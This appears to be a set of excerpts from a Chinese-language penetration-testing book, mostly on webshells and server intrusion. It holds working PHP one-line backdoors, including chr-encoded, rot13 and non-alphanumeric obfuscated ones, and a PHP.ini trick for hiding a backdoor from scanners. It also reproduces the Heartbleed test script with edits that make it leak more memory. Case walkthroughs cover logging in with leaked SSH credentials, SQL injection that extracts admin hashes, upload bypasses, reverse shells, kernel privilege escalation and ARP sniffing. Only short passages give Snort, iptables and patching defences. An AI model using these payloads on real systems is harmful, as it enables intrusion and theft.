    {"text": "1．WebShell的概念 WebShell是指匿名用户（入侵者）通过网站端口对网站服务器进行某种程度上操作的权限。 由于WebShell大多以动态脚本的形式出现，也常被称为网站后门工具。 WebShell是Web入侵的脚本攻击工具，常见类型有ASP.NET、JSP、PHP、ASP、Perl、、CGI、CFM（以下均简称为“WebShell后门文件”）。 攻击者在入侵成功后，会将WebShell后门文件放置在网站服务器的Web目录中，与正常的网页文件混在一起，然后攻击者就可以以Web访问的方式，通过WebShell木马后门控制网站服务器，包括上传及下载文件、操作数据库、执行任意程序命令等。 2．WebShell的特点 WebShell后门文件具有高隐蔽、功能强、危害大等特点。 WebShell与正常的网页程序一样，通过HTTP或者HTTPS协议访问，由于使用与被控制的服务器相同的Web服务端口传输，因此不会被防火墙拦截。"},
    {"text": "高级WebShell程序仅会在Web日志中出现POST或者GET操作，不会留下具体的后门操作信息，因此较难被发现，隐蔽性强。 目前，WebShell后门程序功能强大，除了文件操作和数据库操作外，还可以提权，配合特定程序穿透内网，危害较大。"},
    {"text": "<? PHP eval($_POST[cmd]);?> //不容错代码 3.1.1.PHP <?PHP @eval($_POST['cmd']);?> //容错代码 3.1.2.PHP <?PHP system($_REQUEST['cmd']);?> //3.1.3.PHP 在实际使用过程中，最常用的是“<?PHP @eval($_POST['cmd']);?>”，其他代码容易报错，示例如下。"},
    {"text": "Warning: system() has been disabled for security reasons in D:\\ComsenzEXP\\wwwroot\\3.1.3.php on line 1 2．利用404等常见页面隐藏后门 使用“中国菜刀”一句话后门连接工具（连接密码为“error”），在404等常见页面中插入以下代码。"},
    {"text": "<?PHP @preg_replace(\"/[pageerror]/e\",$_POST['error'],\"saft\"); header('HTTP/1.1 404 Not Found'); ?> 通过访问地址http://127.0.0.1/404.PHP？ error=eval(chr(102).chr(112).chr(117).chr(116).chr(115). chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97). chr(47).chr(97).chr(46).chr(112) .chr(104) .chr(112).chr(39).chr(44).chr(39).chr(119) .chr(39) .chr(41) .chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41). chr(63).chr(62) .chr(39) .chr(41) .chr(59))，还可以在网站当前目录下生成一句话后门密码为“cmd”的a.PHP文件。"},
    {"text": "fputs(fopen(data/a.PHP,w),<?PHPeval($_POST[cmd])?>); 3．无特征隐藏一句话木马 通过编码转换str_rot13(‘riny’)，即编码后的eval，在整个代码中看不到eval的特征。"},
    {"text": "<?PHP($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?> 4．利用shell_exec函数的后门 利用PHP中shell_exec等函数生成的后门。"},
    {"text": "http://127.0.0.1/3.4.PHP?r=dir //列出目录 http://127.0.0.1/3.4.PHP?r=echo hack >D:\\web\\hack.txt 后面还延伸出非数字执行后门代码，示例如下。 <?$_=\"\";$_[+\"\"]='';$_=\"$_\".\"\";$_=($_[+\"\"]|\"\").($_[+\"\"]|\"\").($_[+\"\"]^\"\");?> <?=${'_'.$_}['_'](${'_'.$_}['__']);?> 利用方法为“3 .4.2.PHP?_=shell_exec&__=<any shell command goes here>”，该后门在Linux下执行效果较好。"},
    {"text": "<?php @$_GET[a](@$_GET[b]);?> //或者<?PHP ($_=@$_GET[2]).@$_($_POST[1])?> http://127.0.0.1/3.5.1.PHP?a=assert //密码为“b” http://127.0.0.1/3.5.2.PHP?2=assert //密码为“1” 还可对第二个参数执行某些特定函数，甚至可以在网站根目录下写入一句话后门文件c.PHP。"},
    {"text": "6．非数字隐蔽PHP后门 非数字隐蔽PHP后门最早由Spanner提出，它借鉴了“Tiny PHP Shell”的思路，通过八进制转义执行非字母数字代码，从而能够较好地逃过安全管理人员的脚本安全扫描检查，代码如下。"},
    {"text": "<?PHP $_=\"\"; $_[+\"\"]=''; $_=\"$_\".\"\"; $_=($_[+\"\"]|\"\").($_[+\"\"]|\"\").($_[+\"\"]^\"\"); ?> <?PHP ${'_'.$_}['_'](${'_'.$_}['__']);?> 在“中国菜刀”里写入“http://127.0.0.1/3.6.PHP?_=assert&__=eval($_POST ['pass'])”语句，密码是“pass”。"},
    {"text": "http://127.0.0.1/3.6.PHP?uid=/image.gif //通过 gif 插入一句话木马 8．利用PHP上传程序留后门 攻击者通过分析网站程序，结合被攻击网站的特点，在获取网站权限后，保留一个独特的PHP上传程序，每次需要网页后门时，就通过该程序上传网页后门程序，处理完毕删除PHP WebShell，仅保留上传程序。 9．PHP后门生成工具Weevely Weevely是一款针对PHP的WebShell的自由软件，在BT上默认安装，可用于模拟一个类似于Telnet的连接Shell。"},
    {"text": "Weevely生成的服务器端PHP代码是经过Base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通过Weevely直接运行。"},
    {"text": "6.10.3 一种Windows下PHP后门隐藏技术的研究 通过研究发现，在Windows下的PHP解释环境中有两个函数自动加载文件，分别是auto_ prepend_file和auto_append_file，在PHP.ini中可以修改成任意文件，可以是PHP文件，也可以是DLL文件，将后门文件内容写入这两个文件即可。 通过修改include_path为后门文件所在路径，网站所在目录下的所有PHP文件均可以作为PHP后门。"},
    {"text": "01 修改auto_prepend_file和auto_append_file 去掉auto_prepend_file和auto_append_file这两个配置行前面的“;”，使配置文件生效，然后添加后门文件名称，示例如下。 auto_prepend_file =PHP_tar.dll auto_append_file =PHP_bz.dll 02 修改include_path配置 在PHP.ini中查找include_path的位置，去掉注释，选择Windows下的include_path，填写后门所在的详细路径，示例如下。 include_path = \"D:\\ComsenzEXP\\PHP5\\ext;.\" 03 创建后门文件 在D:\\ComsenzEXP\\PHP5\\ext文件夹中新建PHP_tar.dll．和PHP_bz.dll文件，文件内容为“<? eVal($_POST[a]);?>”。"},
    {"text": "6.10.4 小结 本节对目前常见的PHP后门隐藏技术进行了分析和研究，简单介绍了这些后门的缺点和优点，并在此基础上通过挖掘PHP配置文件，成功找到一种高级的后门隐藏技术，通过修改配置文件来隐藏后门，由于后门文件不在网站目录下，因此能够绕过安全狗等安全软件的防护。"},
    {"text": "该漏洞最早的公布时间为2014年4月7日，Sean Cassidy在其Blog上发表了 Existential Type Crisis: Diagnosis of the OpenSSL Heartbleed Bug （http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html）一文。"},
    {"text": "OpenSSL的Heartbleed模块存在一个Bug，当攻击者构造一个特殊的数据包时，如果用户心跳包中无法提供足够的数据，会导致memcpy把SSLv3记录之后的数据直接输出。"},
    {"text": "6.11.1 漏洞分析 下面我们对“心脏出血”漏洞进行分析。 1．漏洞代码分析 “心脏出血”漏洞存在于文件ssl/dl_both.c中，漏洞的补丁如下语句开始。"},
    {"text": "int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ 结构体SSL3_RECORD的定义如下。 typedef struct ssl3_record_st { int type; /* type of record */ unsigned int length; /* How many bytes available */ unsigned int off; /* read/write offset into 'buf' */ unsigned char *data; /* pointer to the record data */ unsigned char *input; /* where the decode bytes are */ unsigned char *comp; /* only used with decompression - malloc()ed */ unsigned long epoch; /* epoch number, needed by DTLS1 */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */ } SSL3_RECORD; 每条SSLv3记录中包含一个类型域（type）、一个长度域（length）和一个指向记录数据的指针（data）。"},
    {"text": "unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 byte * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; 所以，程序将分配一段由访问者指定大小的内存区域，这段内存区域最大为65535+1+2+16字节。"},
    {"text": "/* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); 宏s2n与宏n2s的任务正好相反：宏s2n读入一个16bit的值，将它存储为双字节值，所以，宏s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload；"},
    {"text": "如果为空则服务端未返回数据，判断为没有该漏洞； 如果为21，则判断服务器报错，判断为没有漏洞； 如果为24，则心跳包正常，继续判断返回数据长度是否大于3，如果大于3，则说明返回了大量服务端越界访问的内存数据，判定存在该漏洞。"},
    {"text": "• http://s3.jspenguin.org/ssltest.py（python脚本） • http://pan.baidu.com/s/1nt3BnVB（python脚本） • https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py • https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py 网上在线检测地址如下。"},
    {"text": "#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() 4．测试方法 openssl.py / ssltest.py 用法为“python openssl.py ip/域名-p端口”。"},
    {"text": "hb = h2bin(''' 18 03 02 00 03 01 40 00 //将此处修改为“01 ff ff” ''') 将“for b in xrange(0, len(s), 16)”改成“for b in xrange(0, len(s), 64)”。"},
    {"text": "图6-87 在线检测漏洞 图6-88 获取kuaiyinpan.com存在漏洞 2．通过py脚本检测 在Linux终端窗口中输入“pythonssltest.py 66.175.219.225-p 443”命令，如图6-89所示，获取漏洞提示信息“ver=0302”，表示该版本表示存在漏洞。"},
    {"text": "图6-89 通过py脚本进行测试 3．对存在漏洞的网站进行扫描 下载NMap的最新版本，在本地进行编译，或者使用命令“nmap--script-updatedb”进行更新，或者下载“wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse”。"},
    {"text": "图6-90 扫描检测存在漏洞的服务器 4．通用Snort规则检测 由于SSL协议是加密的，且目前没有找到提取可匹配规则的方法，所以笔者尝试编写了一条基于返回数据大小的检测规则，示例如下。"},
    {"text": "alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:\"openssl Heartbleed attack\";flow:to_server,established; content:\"|18 03|\"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;) Snort规则说明，此漏洞主要针对的是SSL协议，是针对心跳数据包前4字节中的“\\x18\\x03”，而将数据包的第5个字节和第6个字节的数值按大尾模式转换成数值，在200和16385之间。"},
    {"text": "• OpenSSL 1.0.1g is NOT vulnerable • OpenSSL 1.0.0 branch is NOT vulnerable • OpenSSL 0.9.8 branch is NOT vulnerable 2．修复建议 首先，要升级OpenSSL软件。"},
    {"text": "要解决此漏洞，建议服务器管理员或使用1.0.1g版，或使用“-DOPENSSL_NO_HEARTBEATS”选项重新编译OpenSSL，从而禁用易受攻击的功能，直至可以更新服务器软件为止。"},
    {"text": "$ echo -e \"B\\n\" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2<&1| grep 'heartbeart' 如果不能升级OpenSSL，可以更新IPTable防火墙规则，示例如下。 t# Log rules iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \\ \"52=0x18030000:0x1803FFFF\" -j LOG --log-prefix \"BLOCKED: HEARTBEAT\" # Block rules iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \\\"52=0x18030000:0x1803FFFF\" -j DROP 3．CentOS修复方法参考 （1）yum方法安装 yum search openssl yum install openssl /etc/init.d/nginx restart #然后重启 Nginx （2）下载编译安装 wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz cd openssl-1.0.1g ./config make && make install /etc/init.d/nginx restart #重启 Nginx 6.12 通过网上信息获取某Linux服务器WebShell 虽然本节的案例已经发生很长时间了，但由于其具有一定的代表性，因此经过综合考虑增加了本节。"},
    {"text": "本案例的由来是互联网某“大牛”在博客上公布了对某网站的一次安全检测过程，幸运的是，作者未对SSH账号和密码进行处理，因此，通过这一线索能够顺利获得其服务器权限及WebShell。"},
    {"text": "6.12.1 通过SSH账号和密码进行登录测试 打开SSH Secure Shell，如图6-91所示，在“Host Name”文本框中输入服务器所在IP地址，在“User Name”文本框中输入获取的账号，保留“Port”文本框中默认的22端口。"},
    {"text": "图6-91 Linux服务器登录测试 6.12.2 成功登录Linux服务器 单击“Connect”按钮进行连接测试，在其后需要输入用户密码进行验证，验证成功后，成功登录服务器，如图6-92所示，可以看到上一次服务器登录的IP地址。 图6-92 成功登录该Linux服务器 6.12.3 查看服务器文件及其所有信息 输入“ls”命令查看当前目录下的信息，如图6-93所示，发现存在一个“backup”文件夹，通过“cd backup”命令进入该文件夹，发现其下有2个SH脚本和2个tar.bz文件。"},
    {"text": "图6-93 查看文件内容 通过命令“cat backup.sh”查看文件内容，得知该文件可能是网站文件打包，且文件路径“Home/webroot”可能就是网站的主路径，如图6-94所示。"},
    {"text": "图6-94 获取网站主目录 6.12.4 查看服务器所在IP网站域名情况 通过浏览器访问http://www.yougetsignal.com/tools/web-sites-on-web-server/，然后输入IP地址“61.129.251.181”，查看该IP地址下网站的域名情况，如图6-95所示，该IP地址下有6个域名。 图6-95 获取该IP地址下网站的域名情况 6.12.5 尝试获取WebShell 发现网站域名后，通过SSH Secure Client中的文件管理，也可以打开工具栏上的文件夹图标。"},
    {"text": "进入“/home/webroot/hope-guild.com/api”目录，尝试上传一个WebShell文件，然后在浏览器中打开http://hope-guild.com/api/control.php页面，如图6-96所示，成功获取WebShell。"},
    {"text": "6.13 一句话密码破解获取某网站WebShell 一句话后门是Web渗透中用得最多的必备工具，目前流行的一句话后门有ASP、ASP.NET、JSP和PHP 4种类型。 一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作，在数据库表或者相应字段插入“<%execute request(\"pass\")%>”、“<%evalrequest(\"pass\")%>”、“<?php eval($_POST[pass])?>”、“<?php@eval($_POST[pass])?>”、“<%@PageLanguage=\"Jscript\"%>”、“<% eval(Request.Item [\"pass\"],\"unsafe\");%>”等代码，然后通过“中国菜刀”、Lake一句话后门客户端等工具进行连接。"},
    {"text": "一句话后门是黑客入侵成功的标志和常用后门，在渗透过程中，如果发现一句话后门，就可以通过对一句话后门进行破解，从而获得网站的权限。"},
    {"text": "通过WVS等扫描工具对目标站点进行扫描，没有发现可以利用的明显漏洞，通过社工猜测出网站管理员admin的密码，如图6-97所示，成功进入后台。"},
    {"text": "图6-97 登录WordPress后台 6.13.2 尝试提权 获取管理员权限后，通过查看和编辑页面内容，在页面内容中插入一句话后门代码，如图6-98所示，无法保存修改后的文件，该文件以及文件夹无写权限。"},
    {"text": "在“images”文件夹下发现gif.php文件，因为该文件可以通过浏览器访问，大小为27字节，所以该文件为一句话后门的可能性极高。 图6-100 列目录及文件漏洞 6.13.4 一句话密码破解 打开“ASP PHP ASPX一句话密码暴力猜解工具”，如图6-101所示，在“地址”文本框中输入目标网站，发现的一句话后门文件的具体地址为“http://www.somesite.com/images/gif.php”，选择全部字符，设置位数为“3”，脚本为“php”，单击“破解”按钮，开始对一句话后门进行破解。 图6-101 对一句话后门密码进行破解 6.13.5 获取目标WebShell权限 在“中国菜刀”中新增一个后门记录，输入地址和密码，如图6-102所示，成功获取目标站点的权限。"},
    {"text": "防篡改的原理一般基于3种，分别是外挂轮询技术、核心内嵌技术、事件触发技术。 外挂轮询技术是利用一个网页检测程序，以轮询方式读出要监控的网页，并与真实网页相比较，从而判断网页内容的完整性，对被篡改的网页进行报警和实时恢复。 核心内嵌技术是将篡改检测模块嵌在Web服务器软件里，在每一个网页流出时都进行完整性检查，对于篡改网页进行实时访问阻断，并予以报警和恢复。 事件触发技术是利用操作系统的文件系统接口，在网页文件被修改时进行合法性检查，对非法操作进行报警和恢复。"},
    {"text": "表6-1 3种技术评估对比 项 目 外挂轮询技术 事件触发技术 核心内嵌技术 访问篡改网页 可能 可能 不可能 服务器负载 中 低 低 带宽占用 中 无 无 检测时间 分级 秒级 实时 绕过检测机制 不可能 可能 不可能 防范连续篡改攻击 不能 不能 能 保护所有网页 不能 不能 能 动态网页脚本 不支持 支持 支持 适用操作系统 所有 受限 所有 上传时检测 不能 受限 能 断续时保护 不能 不能 能 核心内嵌技术目前是最好的防篡改解决方案。"},
    {"text": "6.14.1 初遇防篡改 在检测网站时，我们可以从扫描结果中得到地址“http://www.test.com.cn/admin/fckeditor/editor/filemanager/connectors/test.html”。"},
    {"text": "由于FCKeditor支持多种文件类型的文件上传，所以管理员可能会根据不同的需要来配置文件，可以通过选择不同的“Connector”文件类型，并单击“Get Folders and Files”选项查看文件夹。"},
    {"text": "这种思路其实已经有人在网上提出，大致思路是创建ASP文件夹，再向ASP文件夹中传送图片木马，只是没有公布建立类似x.asp这样的文件夹的方法。"},
    {"text": "http://www.test.com.cn/admin/FckEditor/editor/filemanager/connectors/aspx/co nnector.aspx?Command=CreateFolder&Type=Media&CurrentFolder=c.cdx&NewFolderName=z &uuid=1244789975684 创建“c.cdx”文件夹，在提交时需要UUID参数，原理与创建APS文件夹一样，对这个文件夹中的图片文件，IIS会当作ASP文件来解析。 由于是在默认的编辑器中测试页面，管理员禁用了上传功能，只允许创建目录，所以，在后台找到一处上传的地方，其URL为“http://www.testcom.cn/admin/adminimg.aspx?simage=images2&bimage=images&path=%2fadmin%2fUploadFile%2fmedia%2fz. cdx&returnpath=admin/pic&wsize=270&hsize=190”。 通过参数returnpath把目录直接指向“/admin/pic”，然后直接把它指向刚刚建立的“z.cdx”文件夹，即“admin%2fUploadFile%2fmedia%2fz.cdx”，示例如下。 http://www.testcom.cn/imgresize/imgresize.aspx?simage=images2&bimage=images& path=%2fadmin%2fUploadFile%2fmedia%2fz.cdx&returnpath=admin%2fUploadFile%2fmedia %2fz.cdx&wsize=270&hsize=190 在后台直接上传文件或者图片木马，但是由于服务器上安装了iGuard，所以无法执行，如图6-105所示。 图6-105 iGuard防范 6.14.2 突破上传 突破iGuard其实用的也是图片木马的原理。 先上传一幅图片和一个小马，如比较经典的diy.asp上传文件木马，使用命令“C:\\>copy/b图片+图片木马图片木马”，如图6-106所示。 图6-106 生成图片木马文件 欺骗iGuard，让它认为上传的是一幅图片，如图6-107所示。"},
    {"text": "原理与以上介绍的类似，就是利用不久前爆出的“Microsoft IIS 5.x/6.0 0解析文件名漏洞”。 此漏洞描述为：“当文件名为x.asp、x.jpg时，Microsoft IIS会自动以ASP格式进行解析。 而当文件名为x.php、x.jpg时，Microsoft IIS会自动以PHP格式进行解析。"},
    {"text": "利用SuperScan对主机进行端口扫描，如图6-108所示。 图6-108 对端口进行扫描 02 虚拟主机站点查询 通过扫描结果可知这台服务器开放了80、443、5901等端口，也即开放了Web、HTTPS、VNC等端口。"},
    {"text": "使用虚拟主机站点查询工具进行查询，如图6-109所示。 图6-109 虚拟主机查询 03 浏览测试 通过虚拟主机查询，获知该IP地址上共有7个站点。 浏览这7个站点，发现一个存在漏洞的站点，进入该站点，如图6-110所示。 图6-110 发现存在漏洞的站点 04 目录扫描 眼熟的“PHPCMS”标志。"},
    {"text": "图6-111 WWWSCAN扫描网站目录 05 获取管理员登录地址 通过扫描找到3个目录、5个地址，对这些目录和文件地址逐个进行访问，看看有没有敏感信息。"},
    {"text": "记得有一个很经典的多字节编码漏洞，其原理是这样的：0xbf27不是有一个有效的GBK字符，但是经过addslashed()函数转换，就变成了0xbf5c27；"},
    {"text": "图6-114 判断列数 http://www.test.com/area.php?action=city&province=%BF%27 order by 1/** 继续提交URL，示例如下。 http://www.test.com/area.php?action=city&province=%BF%27 order by 2/** 如图6-115所示，返回不正常网页，说明列数值是1。 图6-115 获取列数 继续提交“http://www.test.com/area.php?action=city&province=%BF%27/* */union/* */select/* */user()/*＊”，以获取MySQL的用户信息，如图6-116所示，知道该网站的MySQL用户为root。"},
    {"text": "图6-117 获取数据库版本信息 图6-118 获取数据库信息 继续提交“http://www.test.com/area.php?action=city&province=%BF\\%27/* */union/* */select/* */CONCAT(username,password)/* */from%20phpcms_member%20where%20userid=1/*”，暴露PHPCMD后台的管理员用户名和密码。"},
    {"text": "图6-119 获取PHPCMS的管理员密码 网站的管理员是“phpcms”，而密码是32MD加密的。 可以直接到相关网站查询，如图6-120所示，获得了该网站的管理员密码。 图6-120 破解管理员密码 已经知道管理后台的账号和密码，就可以直接进入后台上传脚本木马，如图6-121所示。 图6-121 进入后台 由于PHPCMS程序对后台上传PHP脚本没有限制，所以得到后台就可以上传脚本木马，如图6-122所示。"},
    {"text": "图6-125 信息收集 掌握端口信息后，就要对服务应用程序的指纹进行分析，主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用的流行的攻击方法等。"},
    {"text": "图6-128 目标目录访问测试 02 SQL注入测试 此站是ECShop架构的站点，使用的版本是V2.5.0。 ECShop的这个版本存在许多注入点，其中user.php文件就有一个注入漏洞，如图6-129所示，直接请求URL如下。 图6-129 SQL注入测试 http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/* 03 获取并破解管理员密码 由于ECShop使用的是MD5加密，因此在获取管理员的账号和密码后，可以直接通过cmd5.com网站进行解密，如图6-130所示，成功破解。"},
    {"text": "图6-130 破解管理员密码 04 获取一句话木马 原来的密码是“admin”，有点出乎意料。 访问管理后台，修改模板，插入一句木马，即可得到WebShell，如图6-131所示。 图6-131 插入一句话木马 05 获取WebShell 使用一句话后门连接器进行连接，如图6-132获取服务器信息。 图6-132 通过WebShell获取服务器信息 6.16.3 服务器提权 01 提权信息刺探 在获取WebShell权限后，就需要对系统进行分析，进而查找EXP了。"},
    {"text": "执行命令“gcc-help”测试对方服务器是否安装了gcc程序，如图6-134所示，发现可以运行gcc，且系统管理员没对使用Shell和gcc进行限制，这也是一个安全隐患。"},
    {"text": "如图6-135所示，在该网站能够搜索很多可以利用的漏洞EXP，不过该网站目前已经停止更新，感兴趣的读者可以访问www.exploit-db.com获取漏洞信息。"},
    {"text": "在本机监听端口12345，前提是该监听IP地址必须是外网独立IP地址，如图6-136所示。 图6-136 本地监听 利用WebShell自带的反弹功能直接连接本地的12345端口并返回Shell，如图6-137所示，通过WebShell进行反弹。 图6-137 通过WebShell反弹端口 连接成功后，就能得到一个Apache用户的Shell，如图6-138所示，通过本地监听的12345反弹一个DOS的Shell窗口。 图6-138 回弹的Shell 如果不能交互，可以直接执行如下命令来得到交互的Shell。"},
    {"text": "在Linux下提权大致可分为第三方软件漏洞、本地信任特性、内核溢出等，比较常用的、溢出率高的当属内核溢出。 用Wget下载溢出源码，利用的漏洞是Linux vmsplice Local Root Exploit，成功比较高的，通过gcc编译和执行，如图6-140所示。"},
    {"text": "在此之前得解释一下ARP（Address Rrsolution Protocol）协议，即地址解析协议。 ARP是TCP/IP协议栈中的低层协议，负责将某个IP地址解析成对应的MAC地址，根据内存中的一张表使IP请求得以在网络上被目标机器应答。"},
    {"text": "如果对方的IP地址和发出的目标IP地址相同，那么对方会发送MAC地址给源主机，此时如果攻击者也接听到发送的IP地址，就会仿冒目标主机的IP地址，然后返回自己主机的MAC地址给源主机，因为源主机发送的IP包中不包括目标主机的MAC地址，而ARP表里又没有目标IP地址和目标MAC地址的对应表，所以会接受攻击者的MAC地址而选择与其通信，从而产生ARP欺骗。"},
    {"text": "在系统刚启动时，可以在DOS环境下输入命令“arp-a”来查看本机ARP缓存表的内容，如图6-142所示。 图6-142 查看ARP缓存表内容 与IP地址192.168.0.5进行通信，通信后ARP缓存表中就会有一条MAC地址和IP地址对应的记录，如图6-143所示。"},
    {"text": "图6-143 IP通信与缓存 1．Dsniff介绍 Dsniff是一个著名的网络嗅探工具包，其开发者是Dug Song，其开发的本意是用来揭示网络通信的不安全性，方便网络管理员对自己网络的审计，当然也包括渗透测试，安装包里此工具充分揭示了协议的不安全性。"},
    {"text": "解压后看一下Readme文件，提示需要OpenSSL、Berkeley_db、libnet、libpca、libnids这5个软件的支持，下载地址如下。 • Berkeley_db：http://www.oracle.com/technology/software/products/berkeley-db/index.html • libpcap：http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz • ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.e15.i386.rpm • ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.e15.i386.rpm • ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.e15.i386.rpm 系统一般会默认安装OpenSSL、libpcap。 如果下载的是源码包，会得到文件openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap-0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz。"},
    {"text": "#./config #make #make install 02 安装libpcap，示例如下。 #./config #make #make install 03 安装libnet，示例如下。 #./config #make #make install 04 安装libnids，示例如下。 #./config #make #make install 05 安装libnids，示例如下。 #./config #make #make install 06 安装Berkeley DB，示例如下。 #.cd build_unix #../dist/configure #make #make install 07 安装dsniff，示例如下。 #./configure #make #make install 程序安装好后，先查看网卡信息，然后开启服务器IP转发功能，命令如下。"},
    {"text": "可以用TCPdump查看被攻击主机是否有数据经过，命令如下，如图6-145所示。 图6-145 测试主机数据经过情况 #tcpdump -I eth0 host 61.67.x.115 如果有数据交换，说明欺骗比较成功。"},
    {"text": "图6-146 嗅探目标主机 3．数据分析 数据全是明文传送的，所以数据分析可以完全通过人工方式进行，如图6-147所示。 图6-147 对数据进行分析 通过这条数据可以知道HTTP登录和FTP登录信息，账号和密码全是明文的。 经过测试，通过FTP上传的目录正是Web目录，获取WebShell权限并继续提权即可控制主机。"},
    {"text": "6.17 IIS隐性后门控制案例 对于提供Web服务网站的服务器，其安全性相对较高，安装后门程序等容易被发现和查杀，而如果通过执行IIS脚本将系统的磁盘设置为“共享”，就可以通过浏览器查看并下载系统中的文件，还可以上传网页木马文件到一些目录下来执行命令。 IIS后门形同“网上邻居”，其功能强大而且非常隐蔽，是一种难得的“后门”控制方法。 6.17.1 安装IIS后门 01 编辑IIS后门脚本 关于IIS后门，网上有很版本，也有非常智能的版本。"},
    {"text": "图6-148 IIS后门脚本代码 02 上传并执行IIS后门脚本代码 本例是通过Radmin来传输文件并执行IIS命令的，将IIS后门脚本程序命名为“IISC.bat”，然后将其上传到欲安装IIS后门的计算机磁盘中，在其Telnet中执行IISC.bat脚本，执行过程会给出一些提示，如图6-149所示。"},
